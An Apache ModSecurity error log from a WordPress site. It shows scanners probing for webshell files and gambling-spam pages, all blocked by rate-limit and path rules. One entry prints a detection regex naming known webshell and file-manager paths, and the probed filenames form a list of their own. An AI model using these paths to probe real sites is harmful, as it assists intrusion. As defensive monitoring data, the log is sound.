[Thu Apr 16 00:14:50.230630 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:18989] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad-5ehcEkLCmvF0fjDdsogAAAI0"]
[Thu Apr 16 00:14:50.946906 2026] [:error] [pid 30956:tid 30973] [client 168.63.72.46:17993] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad-5ekBGUpjaWntNYq2vBQAAAA0"]
[Thu Apr 16 00:14:52.035261 2026] [:error] [pid 30958:tid 31037] [client 168.63.72.46:19580] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad-5fMeG3wSKTO7NWFH54gAAANU"]
[Thu Apr 16 00:14:53.064131 2026] [:error] [pid 30957:tid 30998] [client 168.63.72.46:23602] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "ad-5fX5gwVEVXHfVSirOZgAAAEk"]
[Thu Apr 16 00:14:54.226963 2026] [:error] [pid 30958:tid 31039] [client 168.63.72.46:23603] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "ad-5fseG3wSKTO7NWFH59AAAANc"]
[Thu Apr 16 00:14:55.252896 2026] [:error] [pid 30958:tid 31029] [client 168.63.72.46:30578] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "ad-5f8eG3wSKTO7NWFH5-QAAAM0"]
[Thu Apr 16 00:14:56.708833 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:14204] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "ad-5gBcEkLCmvF0fjDdsswAAAI8"]
[Thu Apr 16 00:14:59.178437 2026] [:error] [pid 30958:tid 31038] [client 168.63.72.46:15704] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "ad-5g8eG3wSKTO7NWFH6CwAAANY"]
[Thu Apr 16 00:15:02.080798 2026] [:error] [pid 30958:tid 31024] [client 168.63.72.46:12926] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "ad-5hseG3wSKTO7NWFH6FwAAAMg"]
[Thu Apr 16 00:15:03.980114 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:9356] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "ad-5h8eG3wSKTO7NWFH6HgAAANE"]
[Thu Apr 16 00:15:05.112376 2026] [:error] [pid 30957:tid 31008] [client 168.63.72.46:8159] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "ad-5iX5gwVEVXHfVSirOfwAAAFM"]
[Thu Apr 16 00:15:14.139485 2026] [:error] [pid 30957:tid 31008] [client 168.63.72.46:35490] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "ad-5kn5gwVEVXHfVSirOkgAAAFM"]
[Thu Apr 16 00:15:26.354903 2026] [:error] [pid 23913:tid 23921] [client 168.63.72.46:18454] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "ad-5nlUaK3MLdSaLOyjxEQAAAUY"]
[Thu Apr 16 00:15:29.049007 2026] [:error] [pid 23913:tid 23916] [client 168.63.72.46:11343] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "ad-5oVUaK3MLdSaLOyjxHQAAAUE"]
[Thu Apr 16 00:15:33.203285 2026] [:error] [pid 31053:tid 31074] [client 168.63.72.46:26473] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "ad-5pRcEkLCmvF0fjDdtNgAAAJI"]
[Thu Apr 16 00:15:35.021228 2026] [:error] [pid 31053:tid 31061] [client 168.63.72.46:8927] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "ad-5pxcEkLCmvF0fjDdtPgAAAIU"]
[Thu Apr 16 00:15:37.822935 2026] [:error] [pid 23913:tid 23937] [client 168.63.72.46:4838] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "ad-5qVUaK3MLdSaLOyjxOAAAAVY"]
[Thu Apr 16 00:15:41.271068 2026] [:error] [pid 31053:tid 31061] [client 168.63.72.46:9468] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "ad-5rRcEkLCmvF0fjDdtUwAAAIU"]
[Thu Apr 16 00:15:42.886789 2026] [:error] [pid 30957:tid 31011] [client 168.63.72.46:9460] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "ad-5rn5gwVEVXHfVSirO4AAAAFY"]
[Thu Apr 16 00:15:44.005013 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:37038] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "ad-5sBcEkLCmvF0fjDdtaAAAAIc"]
[Thu Apr 16 00:15:45.044193 2026] [:error] [pid 30957:tid 30992] [client 168.63.72.46:16682] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "ad-5sX5gwVEVXHfVSirO5QAAAEM"]
[Thu Apr 16 00:15:45.993912 2026] [:error] [pid 30957:tid 31004] [client 168.63.72.46:22401] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "ad-5sX5gwVEVXHfVSirO6AAAAE8"]
[Thu Apr 16 00:15:46.697619 2026] [:error] [pid 30958:tid 31024] [client 168.63.72.46:26467] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "ad-5sseG3wSKTO7NWFH60QAAAMg"]
[Thu Apr 16 00:15:47.807702 2026] [:error] [pid 30958:tid 31025] [client 168.63.72.46:19311] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "ad-5s8eG3wSKTO7NWFH65AAAAMk"]
[Thu Apr 16 00:15:48.656726 2026] [:error] [pid 30958:tid 31020] [client 168.63.72.46:4489] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "ad-5tMeG3wSKTO7NWFH67AAAAMQ"]
[Thu Apr 16 00:15:49.609339 2026] [:error] [pid 23913:tid 23936] [client 168.63.72.46:14617] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "ad-5tVUaK3MLdSaLOyjxWwAAAVU"]
[Thu Apr 16 00:15:52.222270 2026] [:error] [pid 23913:tid 23934] [client 168.63.72.46:14600] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "ad-5uFUaK3MLdSaLOyjxZQAAAVM"]
[Thu Apr 16 00:15:55.792744 2026] [:error] [pid 30957:tid 30993] [client 168.63.72.46:21744] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "ad-5u35gwVEVXHfVSirO-AAAAEQ"]
[Thu Apr 16 00:15:59.772087 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:36537] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-5vxcEkLCmvF0fjDdtqAAAAIs"]
[Thu Apr 16 00:16:03.680896 2026] [:error] [pid 30956:tid 30968] [client 168.63.72.46:19305] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-5w0BGUpjaWntNYq2vXgAAAAg"]
[Thu Apr 16 00:16:06.499069 2026] [:error] [pid 30958:tid 31031] [client 168.63.72.46:13079] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-5xseG3wSKTO7NWFH7SwAAAM8"]
[Thu Apr 16 00:16:10.137224 2026] [:error] [pid 37370:tid 37375] [client 168.63.72.46:30979] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-5yng-gnM2Ga0cGAC3qwAAAQM"]
[Thu Apr 16 00:16:10.764294 2026] [:error] [pid 30958:tid 31023] [client 168.63.72.46:31047] [client 168.63.72.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "ad-5yseG3wSKTO7NWFH7XQAAAMc"]
[Thu Apr 16 00:16:11.442212 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:10841] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-5y8eG3wSKTO7NWFH7YwAAAMA"]
[Thu Apr 16 00:16:12.068496 2026] [:error] [pid 23913:tid 23934] [client 168.63.72.46:10135] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-5zFUaK3MLdSaLOyjxvQAAAVM"]
[Thu Apr 16 00:16:12.885466 2026] [:error] [pid 30956:tid 30983] [client 168.63.72.46:15377] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-5zEBGUpjaWntNYq2vawAAABc"]
[Thu Apr 16 00:16:13.874684 2026] [:error] [pid 31053:tid 31073] [client 168.63.72.46:17737] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-5zRcEkLCmvF0fjDdt0wAAAJE"]
[Thu Apr 16 00:16:15.422189 2026] [:error] [pid 30957:tid 31004] [client 168.63.72.46:18715] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "ad-5z35gwVEVXHfVSirPMAAAAE8"]
[Thu Apr 16 00:16:18.061832 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:14647] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "ad-50hcEkLCmvF0fjDdt2gAAAIc"]
[Thu Apr 16 00:16:21.452722 2026] [:error] [pid 30957:tid 30996] [client 168.63.72.46:13100] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "ad-51X5gwVEVXHfVSirPRwAAAEc"]
[Thu Apr 16 00:16:24.241470 2026] [:error] [pid 30957:tid 31002] [client 168.63.72.46:31065] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "ad-52H5gwVEVXHfVSirPUgAAAE0"]
[Thu Apr 16 01:01:20.726272 2026] [:error] [pid 31053:tid 31075] [client 67.144.16.170:57321] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ad_EYBcEkLCmvF0fjDeBrAAAAJM"]
[Thu Apr 16 01:01:21.638283 2026] [:error] [pid 31053:tid 31063] [client 67.144.16.170:57330] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ad_EYRcEkLCmvF0fjDeBsAAAAIc"]
[Thu Apr 16 01:01:24.177107 2026] [:error] [pid 23913:tid 23925] [client 67.144.16.170:57369] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ad_EZFUaK3MLdSaLOygNVAAAAUo"]
[Thu Apr 16 01:01:25.092625 2026] [:error] [pid 23913:tid 23918] [client 67.144.16.170:57386] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ad_EZVUaK3MLdSaLOygNWQAAAUM"]
[Thu Apr 16 01:01:29.151985 2026] [:error] [pid 30957:tid 30993] [client 67.144.16.170:57432] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ad_EaX5gwVEVXHfVSirbMAAAAEQ"]
[Thu Apr 16 01:01:30.063134 2026] [:error] [pid 30958:tid 31029] [client 67.144.16.170:57443] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ad_EaseG3wSKTO7NWFELbwAAAM0"]
[Thu Apr 16 01:01:32.636729 2026] [:error] [pid 23913:tid 23925] [client 67.144.16.170:57495] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "ad_EbFUaK3MLdSaLOygNbQAAAUo"]
[Thu Apr 16 01:01:33.550819 2026] [:error] [pid 30957:tid 30994] [client 67.144.16.170:57512] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "ad_EbX5gwVEVXHfVSirbOgAAAEU"]
[Thu Apr 16 01:01:36.129304 2026] [:error] [pid 16664:tid 16722] [client 67.144.16.170:57556] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ad_EcDdzt684awDJwRTa3gAAAYM"]
[Thu Apr 16 01:01:37.041290 2026] [:error] [pid 30958:tid 31020] [client 67.144.16.170:57571] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ad_EcceG3wSKTO7NWFELiQAAAMQ"]
[Thu Apr 16 01:01:39.418690 2026] [:error] [pid 30957:tid 30999] [client 67.144.16.170:57593] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ad_Ec35gwVEVXHfVSirbPwAAAEo"]
[Thu Apr 16 01:01:40.330110 2026] [:error] [pid 31053:tid 31080] [client 67.144.16.170:57603] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ad_EdBcEkLCmvF0fjDeCBgAAAJg"]
[Thu Apr 16 01:01:42.860098 2026] [:error] [pid 31053:tid 31059] [client 67.144.16.170:57618] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ad_EdhcEkLCmvF0fjDeCHwAAAIM"]
[Thu Apr 16 01:01:43.773387 2026] [:error] [pid 37370:tid 37381] [client 67.144.16.170:57631] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ad_Ed3g-gnM2Ga0cGADBbQAAAQk"]
